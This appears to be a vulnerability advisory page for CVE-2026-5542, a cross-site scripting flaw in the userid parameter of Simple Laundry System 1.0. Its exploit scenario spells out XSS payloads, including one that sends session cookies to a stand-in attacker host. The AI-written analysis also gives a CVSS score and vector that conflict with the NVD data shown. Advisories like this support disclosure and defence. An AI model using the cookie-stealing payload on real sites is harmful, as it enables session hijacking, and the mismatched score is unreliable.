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PHP CVE-2026-5542

| EUVD-2026-19034 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-04-05 VulDB
2.1
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

6
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
5.3 (MEDIUM) 2.1 (LOW)
PoC Detected
Apr 07, 2026 - 13:20 vuln.today
Public exploit code
EUVD ID Assigned
Apr 05, 2026 - 04:45 euvd
EUVD-2026-19034
Analysis Generated
Apr 05, 2026 - 04:45 vuln.today
CVE Published
Apr 05, 2026 - 04:15 nvd
MEDIUM 5.3

DescriptionCVE.org

A vulnerability was determined in code-projects Simple Laundry System 1.0. Impacted is an unknown function of the file /modstaffinfo.php of the component Parameter Handler. Executing a manipulation of the argument userid can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.

AnalysisAI

Cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows remote attackers to inject malicious scripts via the userid parameter in /modstaffinfo.php, affecting confidentiality and integrity of user sessions. The vulnerability requires user interaction (clicking a crafted link) and has a publicly available exploit (CVSS 4.3, EPSS signal: E:P indicates public exploit availability). …

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Vulnerability AssessmentAI

Risk Assessment The CVSS score of 4.3 reflects low-to-moderate severity: network-accessible (AV:N), low attack complexity (AC:L), requires no privileges (PR:N), but mandates user interaction (UI:R) and results only in integrity impact (I:L) without confidentiality or availability loss. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a malicious URL such as http://target.com/modstaffinfo.php?userid=<script>alert('XSS')</script> or userid=1' onload='fetch("https://attacker.com/steal.php?cookie="+document.cookie)' and distributes it via phishing email or posts it on the organization's internal systems. When an authorized user (staff member) clicks the link while logged in, the JavaScript executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to a credential-harvesting page. …
Remediation Immediately upgrade code-projects Simple Laundry System to a patched version if available from the vendor at https://code-projects.org/; no specific patched version is confirmed in available data. … Detailed patch versions, workarounds, and compensating controls in full report.

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CVE-2026-5542 vulnerability details – vuln.today

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